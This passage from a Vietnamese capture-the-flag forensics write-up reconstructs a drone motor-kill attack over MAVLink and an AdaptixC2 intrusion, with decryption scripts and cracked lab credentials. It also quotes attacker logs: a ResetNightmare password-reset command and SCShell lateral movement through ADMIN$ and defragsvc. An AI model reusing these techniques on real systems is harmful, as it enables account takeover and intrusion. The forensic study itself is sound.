Kéo xuống cuối hàm KDF sub_170AF0, trình dịch ngược cho thấy lời gọi đến API thư viện mã hóa OpenSSL là PKCS5_PBKDF2_HMAC. Các tham số truyền vào bao gồm dữ liệu sau khi mix, Salt gốc, và số vòng lặp lặp lại (8192) để tăng cường độ khó brute-force

Từ tên hàm API này, ta dễ dàng xác định được thuật toán KDF tiêu chuẩn tạo ra 256-bit AES key là PBKDF2 (Password-Based Key Derivation Function 2)

PBKDF2-HMAC-SHA256

Q6: What AES-256 key is derived for the supplied encrypted image? (64 lowercase hexadecimal characters)

Yêu cầu: Key AES-256 được dẫn xuất từ image bị mã hóa là gì?

Để lấy được Key thực tế, thay vì code lại thuật toán KDF 384 rounds rất mất thời gian và dễ sai sót, ta sử dụng framework giả lập CPU Unicorn Engine. Ý tưởng là load phần .text (mã thực thi) của file px4 vào bộ nhớ giả lập, thiết lập thanh ghi, và cho Unicorn chạy từ đầu hàm KDF (0x170AF0) cho đến trước lời gọi PBKDF2 (0x170D50).

Khi Unicorn dừng lại, ta chỉ việc dump (trích xuất) bộ đệm 104-byte đã được xáo trộn từ RAM giả lập ra ngoài, sau đó kết hợp với thư viện hashlib của Python để chạy nốt hàm PBKDF2 chuẩn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from elftools.elf.elffile import ELFFile
from unicorn import *
from unicorn.x86_const import *
import hashlib

# 1. Trích xuất Salt từ file dataman.encrypted (16 byte từ offset 16)
with open('dataman.encrypted', 'rb') as f:
f.seek(16)
salt = f.read(16)

with open('px4', 'rb') as f:
elf = ELFFile(f)
mu = Uc(UC_ARCH_X86, UC_MODE_64)

# 2. Cấp phát và nạp section .text vào bộ nhớ giả lập (0 -> 0x1000000)
mu.mem_map(0, 0x1000000)
for sec in elf.iter_sections():
if sec['sh_flags'] & 2: # SHF_ALLOC
mu.mem_write(sec['sh_addr'], sec.data())

# 3. Giả lập Stack cho CPU
STACK_ADDR, STACK_SIZE = 0x2000000, 0x100000
mu.mem_map(STACK_ADDR, STACK_SIZE)
mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE - 0x1000)

# 4. Chạy giả lập từ đầu hàm KDF (0x170af0) và dừng ở (0x170d50)
mu.emu_start(0x170af0, 0x170d50)

# 5. Đọc kết quả password buffer từ thanh ghi r15 (đã phân tích trong IDA)
r15 = mu.reg_read(UC_X86_REG_R15)
password_buffer = mu.mem_read(r15, 104)

# 6. Đưa qua hàm PBKDF2 chuẩn của Python với 8192 vòng lặp (như đã phân tích ở Q5)
key = hashlib.pbkdf2_hmac('sha256', password_buffer, salt, 8192, dklen=32)
print(f"AES-256 Key: {key.hex()}")

a40ba87b8a0e21d4ead98b917c4bf0f60cc65b25c614b93f107e5ed1e483d6ce

Q7: Which of PX4’s two mission banks is active? (number)

Yêu cầu: PX4 lưu trữ ở 2 bank, bank nào đang được kích hoạt?

Hệ thống quản lý dữ liệu (Datamanager) của PX4 lưu trữ các lộ trình bay (Mission) bằng cơ chế Double Buffering (Bộ đệm kép), chia làm hai phân vùng: Bank 0 và Bank 1. Cơ chế này đảm bảo an toàn, giúp drone không bị lỗi nếu quá trình upload một mission mới bị gián đoạn giữa chừng.

Sau khi dùng AES-256-GCM key (ở Q6) để giải mã file thành dataman.decrypted

Ta sử dụng xxd để phân tích file nhị phân này

  1. Tại địa chỉ 00000f00: Đây là struct DM_KEY_MISSION_STATE. Nó đóng vai trò là “Metadata” lưu trữ trạng thái của hệ thống. Nhìn vào byte đầu tiên 08 có thể là tổng số mission item, và đâu đó trong đây có biến lưu cờ chỉ định Bank 0 đang active.
  2. Tại địa chỉ 0000211c (nằm xen giữa dòng 00002110): Đây chính là nơi Bank 0 bắt đầu! Khối dữ liệu cấu trúc này chứa các tọa độ GPS và độ cao (Altitude) được mã hóa dưới dạng float/double.
  3. Bằng chứng MAVLink (Cực hay):
    • Dòng 00002140, đoạn 1600 0000 chính là số 22 (Hệ thập phân). Trong giao thức MAVLink, 22 tương ứng với lệnh MAV_CMD_NAV_TAKEOFF (Cất cánh).
    • Dòng 000021c0, đoạn 1000 0000 chính là số 16. Số 16 tương ứng với lệnh MAV_CMD_NAV_WAYPOINT (Bay đến tọa độ).

Vì toàn bộ các lệnh bay và tọa độ này xuất hiện ở vùng nhớ của Bank 0 (0x211c), còn phân vùng của Bank 1 (nằm ở địa chỉ 0xaf1c) thì không hề có dữ liệu nào cả (chứa toàn số 0 và bị xxd gom vào dấu *), ta có thể kết luận chắc chắn Bank 0 là Bank đang kích hoạt

0

Q8: How many mission items are stored in the active bank? (number)

Yêu cầu: Có bao nhiêu mission item được lưu trong bank đang hoạt động?

Trong bộ file đề bài, ban tổ chức cung cấp file log hệ thống dưới dạng đã mã hóa flight.ulg.encrypted. Bằng cách phân tích Header của file này (bắt đầu bằng chuỗi magic PX4ULENC), ta nhận thấy nó sử dụng chung cơ chế AES-256-GCM và chung Salt với file dataman.

Sử dụng lại AES Key đã trích xuất ở Q6, kết hợp với AAD, IV và MAC Tag tương ứng của file này, ta giải mã thành công và thu được file gốc flight.ulg

Tiếp theo, ta sử dụng công cụ ulog2csv để trích xuất file ULog này thành các file CSV đọc được bằng Excel

Lúc này, mở file flight_mission_result_0.csv (lưu trạng thái tiến trình bay), ta kiểm tra cột seq_total (tổng số sequence/item của nhiệm vụ). Dữ liệu hệ thống ghi nhận giá trị cố định xuyên suốt chuyến bay là 24

Điều này khẳng định có 24 mission items đã được nạp thành công lên drone

24

Q9: Which mission item triggers payload release? (number)

Yêu cầu: Mission item nào (số thứ tự) kích hoạt việc thả payload?

Để tìm ra số lượng nhiệm vụ con (mission items) đã được hoàn thành tính đến thời điểm giao hàng, ta tiếp tục phân tích file flight_mission_result_0.csv.

Tìm đến thời điểm hệ thống bắt đầu kích hoạt lệnh giao hàng (nằm ở Sequence số 11 và 12). Tại mốc thời gian 446656000 (ngay khi seq_current nhảy sang 11 để chuẩn bị thả hàng), ta kiểm tra cột seq_reached

Cột seq_reached (đại diện cho số lượng mission items đã bay qua và hoàn tất thành công) lúc này đang ghi nhận giá trị là 10

Điều này khẳng định drone đã hoàn thành trọn vẹn 10 mission items trong lộ trình trước khi tiến hành quy trình thả hàng (Payload Delivery)

10

Q10: Where was the drone supposed to land? (latitude,longitude; 5 decimal places)

Yêu cầu: Theo kế hoạch, drone dự kiến sẽ hạ cánh ở đâu? (5 số thập phân)

Trong các chiến dịch giao hàng bằng Drone tự động (Payload Delivery), lộ trình bay tiêu chuẩn luôn là một chu trình khép kín: Drone cất cánh từ điểm Home, bay đến các Waypoint để thả hàng, và mục tiêu cuối cùng trong lộ trình bay luôn là lệnh RTL (Return to Launch) để quay về hạ cánh an toàn tại bệ xuất phát.

Nhìn vào sequence đầu tiên (seq_current = 0, nav_cmd = 22 - Takeoff) trong file flight_navigator_mission_item_0.csv, ta thu được tọa độ gốc (Home Position)

Vì tọa độ hạ cánh dự kiến chính là tọa độ cất cánh, ta chỉ việc làm tròn cho đủ 5 chữ số phần thập phân theo đúng định dạng yêu cầu của đề bài

51.49970,-0.16080

Q11: Where did the drone take off? (latitude,longitude; 7 decimal places)

Yêu cầu: Xác định tọa độ cất cánh thực tế của drone. (7 số thập phân)

Để biết chính xác vị trí drone rời mặt đất, ta cần xác định mốc thời gian cất cánh. Trong file log hệ thống, sự kiện “Takeoff detected” (phát hiện cất cánh) được ghi nhận ở mốc thời gian khoảng 287000000 micro-giây.

Mở file flight_vehicle_global_position_0.csv (chứa tọa độ GPS thực tế của drone) và tìm đến mốc thời gian 287000000. Ta thu được tọa độ lúc cất cánh

51.4996987,-0.1607999

Q12: Where was the drone when payload release was triggered? (latitude,longitude; 7 decimal places)

Yêu cầu: Xác định vị trí của drone khi payload được thả. (7 số thập phân)

Dựa vào file flight_navigator_mission_item_0.csv, ta thấy tiến trình thả hàng được kích hoạt bắt đầu từ lệnh Delay (nav_cmd = 93) ở mốc thời gian 446656000, ngay sau đó là lệnh nhả servo (nav_cmd = 187) ở 448672000.

Vì câu hỏi là vị trí khi lệnh được “triggered” (bắt đầu kích hoạt), ta đối chiếu mốc thời gian 446656000 sang file flight_vehicle_global_position_0.csv. Tại đúng mốc thời gian này, drone ghi nhận tọa độ thực tế là

51.5035602,-0.1608417

Yêu cầu: Lệnh MAVLink nào đã được “tiêm” vào hệ thống để hạ gục drone?

Drone không rơi do lỗi tự nhiên, đây là một cuộc tấn công có chủ đích thông qua giao thức MAVLink. Để tìm ra lệnh độc hại, ta kiểm tra file flight_vehicle_command_0.csv (ghi lại toàn bộ các lệnh điều khiển được gửi đến drone).

Quan sát các lệnh ở giai đoạn cuối chuyến bay (gần mốc rơi), ta phát hiện một điểm bất thường cực kỳ nghiêm trọng tại timestamp 520764000:

  • Cột command: 420
  • Cột param1: 101
  • Cột param2: 1

Tra cứu hệ thống MAVLink Messages, ID lệnh số 420 tương ứng với lệnh MAV_CMD_INJECT_FAILURE (Lệnh mô phỏng/Gây lỗi hệ thống).

Phân tích kỹ hơn các tham số đi kèm: param1 = 101 (đại diện cho Cụm Động Cơ - FAILURE_UNIT_SYSTEM_MOTOR) và param2 = 1 (đại diện cho trạng thái TẮT - FAILURE_TYPE_OFF).

Kẻ tấn công đã gửi thành công lệnh MAV_CMD_INJECT_FAILURE để ép toàn bộ động cơ của drone tắt ngay khi đang bay, dẫn đến việc rơi tự do

MAV_CMD_INJECT_FAILURE

Q14: How far did the drone travel between payload release and command injection? (horizontal metres, nearest whole number)

Yêu cầu: Khoảng cách di chuyển của drone giữa lúc thả payload và lúc bị tiêm lệnh độc hại?

Dựa vào phân tích các lệnh điều khiển (vehicle_command) ở các câu trước, ta xác định được 2 mốc thời gian quan trọng của phân đoạn bay này:

  1. Lúc kích hoạt lệnh nhả hàng (Payload release triggered): timestamp = 446656000
  2. Lúc nhận lệnh độc hại tắt động cơ (Malicious failure injected): timestamp = 520764000

Để tính quãng đường di chuyển trong khoảng thời gian này, ta tiến hành trích xuất dữ liệu từ file flight_vehicle_global_position_0.csv. Sử dụng một script Python nhỏ, ta lọc ra toàn bộ các điểm tọa độ (Vĩ độ, Kinh độ) nằm lọt trong khung thời gian từ 446656000 đến 520764000

Đưa các tọa độ đã lọc này lên công cụ geojson.io, ta vẽ được chính xác hình dáng quỹ đạo của phân đoạn bay này (đường màu trắng). Drone di chuyển dọc theo khu vực rìa công viên Hyde Park xuống Sloane Street

Để xác minh độ dài thực tế của phân đoạn quỹ đạo trên, ta sử dụng công cụ Thước đo (Ruler) trên Google Earth Pro. Khi nối các điểm tọa độ tương ứng trên bản đồ vệ tinh bằng cách xuất dư liệu trên geojson thành file .kml và nạp vào Google Earth Pro, công cụ đo lường trả về kết quả chiều dài quỹ đạo là 277

277

Q15: Where did the drone crash? (latitude,longitude; 7 decimal places)

Yêu cầu: Drone đã bị rớt ở tọa độ nào? (7 số thập phân)

Để xác định chính xác điểm đâm (impact point), thay vì chỉ lấy bừa một mốc tọa độ cuối cùng, ta cần phân tích dữ liệu vận tốc thẳng đứng (vz - vertical velocity) trong file flight_vehicle_local_position_0.csv.

Khi nhận lệnh tắt động cơ, drone bắt đầu rơi tự do. Ta quan sát thấy thông số vz tăng vọt lên mức hơn 9.76 m/s (vận tốc rơi cực nhanh). Tuy nhiên, hãy nhìn vào sự chuyển biến ở mốc thời gian quanh 525848000:

  • timestamp = 525840000: vz = 9.76 m/s (Đang rơi với tốc độ tối đa)
  • timestamp = 525848000: vz = 4.88 m/s (Bắt đầu va chạm)
  • timestamp = 525856000: vz = 0.01 m/s (Đứng khựng lại)

Mốc thời gian 525856000 chính là tích tắc (millisecond) đầu tiên drone hoàn toàn tiếp đất và bị triệt tiêu vận tốc thẳng đứng.

Sau khi chốt được mốc thời gian tử thần này, ta dùng nó để đối chiếu sang file tọa độ GPS flight_vehicle_global_position_0.csv tại đúng dòng 525856000. Dữ liệu thu được: Làm tròn 7 chữ số thập phân theo yêu cầu của đề bài, ta có tọa độ rơi chuẩn xác tới từng milimet.

51.5016938,-0.1620929

Q16: When was the drone disarmed after the crash? (seconds after boot; 3 decimal places)

Yêu cầu: Drone tự động ngắt (disarm) bao lâu sau khi rớt? (tính bằng giây, 3 số thập phân)

Khi một chiếc drone sử dụng PX4 bị rơi (crash) và nằm im trên mặt đất, tính năng an toàn của hệ thống (Auto-Disarm) sẽ được kích hoạt sau một khoảng thời gian ngắn để tránh cháy nổ động cơ.

Để tìm chính xác mốc thời gian này, ta trích xuất và phân tích file flight_actuator_armed_0.csv (file ghi lại trạng thái Bật/Tắt của động cơ và hệ thống vũ khí/cánh quạt).

Mở file ra và tìm đến thời điểm biến armed chuyển từ 1 (đang hoạt động) về 0 (ngắt hoàn toàn). Hệ thống ghi nhận sự kiện ngắt này diễn ra ở mốc thời gian (timestamp): 576968000 (micro-giây).

Quy đổi micro-giây sang giây (chia cho 1,000,000), ta có thời điểm disarm chính xác: 576968000 / 1000000 = 576.968 giây

576.968

Q17: Which road is closest to the crash site? (string)

Yêu cầu: Con đường nào nằm gần nhất với vị trí rớt?

Ở câu Q15, chúng ta đã xác định được tọa độ va chạm (Impact Point) chính xác của drone khi rơi xuống đất là: 51.5016938, -0.1620929.

Để tìm tên của khu vực này, cách trực quan nhất là đưa toàn bộ quỹ đạo bay và điểm rơi lên bản đồ vệ tinh bằng geojson.io

Nhìn vào bản đồ, điểm rơi nằm ngay phía nam của công viên Hyde Park (London). Hệ thống bản đồ đã dán nhãn rất rõ ràng tên của toàn bộ khu phố thương mại sầm uất mà chiếc drone đang hoạt động và rơi xuống

Knightsbridge


8 - Borrowed Name

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Insane

Q1: What is the C2 used for this attack? (string)

Yêu cầu: Xác định framework Command and Control (C2) được nhóm APT sử dụng trong chiến dịch này.

Giải nén file artifact BorrowedName.zip, ta thu được file bắt gói tin mạng capture.pcapng, ảnh đĩa Q3_Salary_Review.img và log hệ thống Microsoft-Windows-NTLM%4Operational.evtx.

Kiểm tra tệp tin ảnh đĩa Q3_Salary_Review.img (định dạng FAT32), trích xuất được shortcut lừa đảo Salary_Review_Q3_2026.pdf.lnk cùng binary thực thi độc hại winupdate.exe.

Tiến hành phân tích winupdate.exe trong IDA Pro:

Nhấn Shift + F12 để kiểm tra danh sách các chuỗi tĩnh (Strings). Mình phát hiện chuỗi 13ConnectorHTTP, cho thấy mã độc được viết bằng C++ và có module mạng chuyên biệt tên ConnectorHTTP:

Đi vào hàm main và phân tích tiếp luồng khởi tạo ban đầu, mình bắt gặp hàm thiết lập cấu hình:

Phân tích logic của hàm con, dễ dàng nhận diện đây là thuật toán mã hóa đối xứng dòng RC4 (khởi tạo mảng hoán vị S-box 256 phần tử và hoán đổi vị trí theo khóa):

Sau khi xác định được thuật toán mã hóa, mình kiểm tra tham số khóa tĩnh được nạp vào hàm khởi tạo RC4:

Trích xuất chuỗi 16 byte khóa tĩnh (EncryptionKey):

1
4580221AC3FE51BE1797524A048E552D

Đồng thời, khi phân tích lưu lượng mạng trong capture.pcapng, mình thấy máy nạn nhân (192.168.56.22) chỉ giao tiếp với một máy chủ C2 duy nhất tại 192.168.56.1:8818:

Client liên tục gửi các HTTP request tới C2 server kèm theo trường header tùy chỉnh X-Beacon-Id:

Giải mã chuỗi Base64 trong header này bằng EncryptionKey vừa tìm được, ta thu được 4 byte Magic Header đầu tiên là 0xBE4C0149 (\x49\x01\x4c\xbe). Đây chính là signature watermark đặc trưng của agent Beacon thuộc C2 framework Adaptix (AdaptixC2):

Adaptix

Q2: What is the SessionKey:EncryptionKey used? (SessionKey:EncryptionKey)

Yêu cầu: Xác định cặp khóa mã hóa SessionKey:EncryptionKey được dùng để bảo vệ các kênh liên lạc giữa Beacon và C2 Server.

Từ kết quả giải mã header X-Beacon-Id ở câu Q1, toàn bộ cấu trúc metadata đăng ký của Beacon được làm sáng tỏ:

Cấu trúc gói tin giải mã gồm:

  • Byte 0–3: Magic 0xBE4C0149 (Adaptix watermark).
  • Byte 4–7: Beacon ID (58debcbb).
  • Byte 48–63 (16 bytes): Khóa phiên làm việc động (SessionKey):
1
53fc4c03c7b461befe5dcb268e3d9208

Khóa phiên SessionKey này được dùng để mã hóa hai chiều toàn bộ dữ liệu trao đổi (tasks từ C2 và command output từ Beacon) trong phần body của các gói tin tiếp theo. Kết hợp với khóa tĩnh EncryptionKey (4580221ac3fe51be1797524a048e552d), ta có cặp khóa hoàn chỉnh:

53fc4c03c7b461befe5dcb268e3d9208:4580221ac3fe51be1797524a048e552d

Q3: What CVE is used for privilege escalation? (CVE-****-*****)

Yêu cầu: Xác định mã CVE mà APT group sử dụng để leo thang đặc quyền từ người dùng thông thường lên quyền quản trị Domain.

Sau khi đã có SessionKey, mình thử lấy một gói tin HTTP POST gửi lên C2 server để giải mã:

Giải mã payload bằng thuật toán RC4 với SessionKey, toàn bộ nội dung bản rõ trả về từ Beacon được hiển thị:

Để tự động hóa việc rà soát toàn bộ lưu lượng C2 trong file pcap, mình viết một script Python ngắn với Scapy để giải mã tất cả các gói HTTP POST:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from scapy.all import rdpcap
import re

def rc4(k, d):
S = list(range(256)); j = 0
for i in range(256): j = (j + S[i] + k[i % len(k)]) % 256; S[i], S[j] = S[j], S[i]
i = j = 0; res = bytearray()
for b in d: i = (i+1)%256; j = (j+S[i])%256; S[i], S[j] = S[j], S[i]; res.append(b ^ S[(S[i]+S[j])%256])
return bytes(res)

key = bytes.fromhex('53fc4c03c7b461befe5dcb268e3d9208')

for i, p in enumerate(rdpcap('capture.pcapng')):
if p.haslayer('Raw') and b'POST /' in p['Raw'].load:
body = p['Raw'].load.split(b'\r\n\r\n')[1]
text = re.findall(b'[ -~]{4,}', rc4(key, body))
if text:
print(f"\n--- Gói tin #{i+1} ---")
print(b'\n'.join(text).decode('latin1'))

Khi chạy script giải mã, tại gói tin #732, mình phát hiện log thực thi module leo quyền:

Mã độc ghi nhận:

1
2
[*] Action: ResetNightmare (CVE-2026-27912)
[*] UPN-write + enterprise AS-REQ + kadmin/changepw password reset

Kỹ thuật này khai thác lỗ hổng mang tên ResetNightmare, được gán mã định danh CVE-2026-27912. Lỗ hổng cho phép kẻ tấn công lợi dụng quyền ghi thuộc tính UPN (userPrincipalName) của một tài khoản để giả mạo tài khoản đặc quyền khác, từ đó xin cấp Kerberos TGT với dịch vụ kadmin/changepw và đặt lại mật khẩu của tài khoản mục tiêu.

CVE-2026-27912

Q4: Napoleon APT used a custom BOF to execute this attack, what is the md5sum? (md5 hash)

Yêu cầu: Tính mã băm MD5 của custom Beacon Object File (BOF) được sử dụng để thực thi cuộc tấn công ResetNightmare.

Trong luồng dữ liệu từ C2 Server gửi về Beacon (các response HTTP 200), các tác vụ chạy BOF (Command ID 50) chứa entry point go\x00, theo sau là 4 byte độ dài và raw binary của file COFF object (.o).

Giải mã chunk dữ liệu HTTP Response chứa lệnh khai thác ResetNightmare (kích thước lớn trong response chunk 225/228), ta trích xuất được object file độc hại reset_nightmare.o với kích thước 70,169 bytes (bắt đầu bằng COFF machine header 0x8664 cho kiến trúc x64):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from scapy.all import rdpcap, TCP, IP
import struct, hashlib

def rc4(k, d):
S = list(range(256)); j = 0
for i in range(256): j = (j + S[i] + k[i % len(k)]) % 256; S[i], S[j] = S[j], S[i]
i = j = 0; res = bytearray()
for b in d: i = (i+1)%256; j = (j+S[i])%256; S[i], S[j] = S[j], S[i]; res.append(b ^ S[(S[i]+S[j])%256])
return bytes(res)

key = bytes.fromhex('53fc4c03c7b461befe5dcb268e3d9208')

stream = b''
for p in rdpcap('capture.pcapng'):
if p.haslayer(TCP) and p.haslayer(IP) and p[IP].src == '192.168.56.1' and p[TCP].sport == 8818:
if p.haslayer('Raw'):
stream += p['Raw'].load

for r in stream.split(b'HTTP/1.1 200 OK'):
m_start = r.find(b'"data": "')
m_end = r.find(b'", "metrics"')
if m_start != -1 and m_end != -1 and m_end > m_start + 9:
dec = rc4(key, r[m_start+9:m_end])

if b'ResetNightmare' in dec:
go_idx = dec.find(b'go\x00')
bof_size = struct.unpack('<I', dec[go_idx+3 : go_idx+7])[0]
bof_bytes = dec[go_idx+7 : go_idx+7+bof_size]

print(f"Kích thước file BOF: {bof_size} bytes")
print(f"COFF Header Magic: {bof_bytes[:2].hex()} (0x8664 = x64 Object File)")
print(f"MD5 Hash của BOF: {hashlib.md5(bof_bytes).hexdigest()}")

with open('reset_nightmare.o', 'wb') as f:
f.write(bof_bytes)
break

Tính toán mã băm MD5 của file nhị phân BOF:

583236cc3ef2488fb133385bcd75825e

Q5: In order for this attack to happen, a compromised user needs to have write rights on a Property, what is the ObjectSID of that property? (SID)

Yêu cầu: Xác định ObjectSID của đối tượng/thuộc tính mà tài khoản bị xâm nhập cần có quyền ghi (WriteProperty) để triển khai cuộc tấn công.

Trước khi kích hoạt exploit ResetNightmare, kẻ tấn công thực hiện trinh sát Active Directory và kiểm tra bảng điều khiển truy cập (Access Control Entries - ACE) trên đối tượng tài khoản của người dùng afenwick.

Khi giải mã gói tin Response lớn từ C2 server, mình phát hiện cấu hình và tham số mà C2 gửi xuống cho Beacon:

Kẻ tấn công cần có quyền WriteProperty trên chính đối tượng người dùng afenwick (CN=afenwick,OU=Analysts,DC=core,DC=diogenes,DC=htb) để sửa đổi thuộc tính userPrincipalName mạo danh tài khoản quản trị mục tiêu. Do đó, ObjectSID của đối tượng bị can thiệp thuộc tính là SID của afenwick:

S-1-5-21-2253468260-689643353-167204612-1125

Q6: In order to perform the above attack, a user’s password needs to be known. What (named) attack did the APT group used, and when did it take place? (NAME_OF_ATTACK:YYYY-MM-DD HH:mm:ss)

Yêu cầu: Xác định tên cuộc tấn công được sử dụng để lấy mật khẩu của người dùng và thời điểm chính xác diễn ra theo chuẩn UTC.

Trong kết quả giải mã ở câu Q3, tại gói tin #611, Beacon gửi về máy chủ C2 một chuỗi NetNTLMv2 Response hoàn chỉnh của người dùng afenwick:

Chuỗi challenge được sử dụng là giá trị tĩnh 1122334455667788. Đây là dấu hiệu nhận diện đặc trưng của kỹ thuật Internal Monologue Attack (tấn công gọi trực tiếp các API của SSPI/NTLM SSP từ tiến trình người dùng hiện tại mà không cần quyền nâng cao, buộc hệ thống tính toán NetNTLMv2 hash với Server Challenge giả lập).

Kiểm tra nhật ký hệ thống Microsoft-Windows-NTLM%4Operational.evtx và lọc theo Event ID 4021 (NTLM audit validation), mình tìm thấy bản ghi xác thực tương ứng:

Bản ghi sự kiện ghi nhận thời gian theo giờ cục bộ (UTC+7). Quy đổi thời gian về chuẩn quốc tế UTC:

  • Giờ cục bộ: 2026-09-10 03:44:11 (UTC+7)
  • Giờ chuẩn UTC: 2026-09-09 20:44:11

Ghép tên cuộc tấn công và mốc thời gian theo định dạng yêu cầu: Internal_Monologue:2026-09-09 20:44:11

Internal_Monologue:2026-09-09 20:44:11

Q7: Which user credentials were used to perform the attack? (username:password)

Yêu cầu: Xác định thông tin đăng nhập (username:password) của tài khoản được sử dụng để thực hiện cuộc tấn công.

Từ chuỗi NetNTLMv2 hash của người dùng afenwick thu thập được qua kỹ thuật Internal Monologue ở câu trên:

1
afenwick::DIOCORE:1122334455667788:032b0b4aa446b7d68c6780135ef2ec24:0101000000000000b98318f89b40dd0188710ab71b4825d10000000008005000500000000000000000000000020000048e7e02afbb4d8dd89a1bf00f8976f4da60de7b351998f52913b13ae3f7908aad383770bcba0bda27095df48e2e35cf4256ad28f010d93ad6af198c52ab6f9be0a00100000000000000000000000000000000000090000000000000000000000

Kẻ tấn công thực hiện bẻ khóa ngoại tuyến (offline cracking) bằng Hashcat chế độ NetNTLMv2 (-m 5600) cùng từ điển rockyou.txt:

Mật khẩu được bẻ khóa thành công là *Seash5lls*. Do đó, cặp credentials hoàn chỉnh được kẻ tấn công sử dụng là:

afenwick:Seash5lls

Q8: Which user was targeted and what was their resulting password? (username:password)

Yêu cầu: Xác định tài khoản mục tiêu của cuộc tấn công ResetNightmare và mật khẩu mới được kẻ tấn công gán cho tài khoản đó.

Sau khi bẻ khóa được mật khẩu của afenwick, kẻ tấn công tiến hành bước khai thác chính: đặt lại mật khẩu cho một tài khoản quản trị miền.

Để xác định chính xác tham số truyền vào, mình truy ngược từ kết quả thực thi trả về. Tại gói tin Packet #754 (HTTP POST), Beacon báo cáo kết quả:

1
[+] Password reset successfully for user jreed!

Gói tin giao việc tương ứng ngay trước đó là gói HTTP Response Packet #739 / #746 (kích thước lớn 70,331 bytes do chứa BOF):

Dữ liệu phản hồi từ C2 server có định dạng JSON mang theo dữ liệu nhị phân mã hóa RC4:

Vì trường data chứa dữ liệu nhị phân thô (Raw bytes), việc copy dạng UTF-8 hay ASCII Text thông thường sẽ làm hỏng dữ liệu do ký tự thay thế unicode. Mình copy dữ liệu dưới dạng Hex Stream (7b22737461...), đưa vào CyberChef với Recipe:

  1. From Hex (hoặc giữ Hex stream và drop 52 hex chars)
  2. Drop bytes (Start: 0, Length: 26 - để loại bỏ header {"status": "ok", "data": ")
  3. RC4 (Key format: HEX, Key: 53fc4c03c7b461befe5dcb268e3d9208, Input format: Raw, Output format: Latin1)
  4. Strings (Minimum length: 4)

Cuộn xuống cuối phần output giải mã, chuỗi tham số truyền vào hàm go của BOF hiện ra rõ ràng:

1
/target:jreed /new:Aigohng8vai0seish4zi /upnuser:afenwick /upnpass:*Seash5lls*

Kẻ tấn công đã nhắm mục tiêu vào tài khoản quản trị viên jreed và đặt lại mật khẩu mới cho tài khoản này là Aigohng8vai0seish4zi.

jreed:Aigohng8vai0seish4zi

Q9: After privesc, what is the new token logon type what was created? (number)

Yêu cầu: Xác định số hiệu Logon Type của Windows security token mới được tạo ra sau khi leo quyền.

Sau khi đặt lại mật khẩu tài khoản jreed thành công, kẻ tấn công khởi tạo một security token mới nhằm mạo danh jreed phục vụ cho các kết nối mạng tiếp theo sang Domain Controller.

Trong log phản hồi của Beacon tại gói tin Packet #825 (HTTP POST):

Beacon thông báo mạo danh thành công:

1
The user impersonated successfully: DIOCORE\jreed (logon: 9)

Đồng thời, trên máy trạm nạn nhân ws02, Windows Security Log ghi nhận sự kiện Event ID 4624 (An account was successfully logged on) cho tài khoản jreed với trường Logon Type là 9.

Số 9 biểu thị cho kiểu đăng nhập LOGON32_LOGON_NEW_CREDENTIALS (tương tự như hành vi của lệnh runas /netonly). Kiểu đăng nhập này cho phép tiến trình tiếp tục sử dụng token hiện tại trên máy cục bộ, nhưng khi thực hiện xác thực mạng ra các tài nguyên bên ngoài (như SMB, RPC đến Domain Controller dc02), hệ thống sẽ tự động gửi đi credentials mới của jreed.

9

Q10: For lateral movement, what is the path the new agent was uploaded to? (\IP\Share...<…>\file)

Yêu cầu: Xác định đường dẫn đầy đủ mà file agent mới được tải lên máy chủ Domain Controller trong bước di chuyển ngang.

Với đặc quyền mới chiếm được từ tài khoản jreed, kẻ tấn công tiếp tục triển khai kỹ thuật SCShell nhằm di chuyển ngang (Lateral Movement) sang Domain Controller dc02 (192.168.56.11).

Trong capture.pcapng, sau khi nhận task SCShell lớn từ C2 server ở gói #890, Beacon thực thi và gửi kết quả báo cáo về C2 Server trong gói Packet #896 (HTTP POST):

Copy phần dữ liệu nhị phân dưới dạng Hex Stream và giải mã bằng SessionKey qua CyberChef:

Trong log thực thi của SCShell BOF hiển thị rõ:

1
2
3
4
5
6
7
8
Trying to connect to dc02
Uploading binary (103936 bytes) to: \\dc02\ADMIN$\svc_bkup
Binary uploaded successfully (103936 bytes written)
Opening service: defragsvc
Original service binary path: "C:\Windows\system32\svchost.exe -k defragsvc"
Service path was changed to: "\\dc02\ADMIN$\svc_bkup"
Service was started
Service path was restored to: "C:\Windows\system32\svchost.exe -k defragsvc"

Binary agent mới (kích thước 103,936 bytes) đã được đẩy trực tiếp lên share quản trị ADMIN$ của máy chủ DC02 dưới tên tệp svc_bkup. Chuyển đổi tên máy dc02 sang định dạng địa chỉ IP 192.168.56.11 (được xác nhận từ bản ghi DNS trước đó ở gói #288) theo đúng định dạng yêu cầu của đề bài:

\192.168.56.11\ADMIN$\svc_bkup

Q11: Which service group was used to start the new agent? (string)

Yêu cầu: Xác định Windows Service Group được kẻ tấn công lợi dụng để kích hoạt agent mới trên Domain Controller.

Kỹ thuật SCShell cho phép thực thi mã từ xa mà không cần tạo mới một Windows Service (nhằm tránh sinh ra Event ID 7045 - A service was installed in the system trên SIEM). Kỹ thuật này hoạt động bằng cách mượn một service hợp pháp đang tồn tại trên hệ thống, thay đổi tạm thời cấu hình binPath trỏ tới payload độc hại, kích hoạt khởi chạy service, sau đó lập tức hoàn nguyên binPath về nguyên bản.

Quan sát log thực thi của SCShell BOF:

1
2
3
4
5
6
Original service binary path: "C:\Windows\system32\svchost.exe -k defragsvc"
ChangeServiceConfigA failed to update the service path: 0
Service path was changed to: "\\dc02\ADMIN$\svc_bkup"
Service was started
ChangeServiceConfigA failed to revert the service path: 0
Service path was restored to: "C:\Windows\system32\svchost.exe -k defragsvc"

Tham số -k trong dòng lệnh svchost.exe chỉ định nhóm dịch vụ (Service Group) lưu trữ tiến trình dịch vụ, ở đây là defragsvc (dịch vụ chống phân mảnh và tối ưu hóa ổ đĩa).

defragsvc

Q12: What is the new BeaconID:SessionKey? (BeaconID:SessionKey)

Yêu cầu: Xác định định danh BeaconID:SessionKey của agent mới khi thực hiện kết nối ngược từ Domain Controller về máy chủ điều khiển C2.

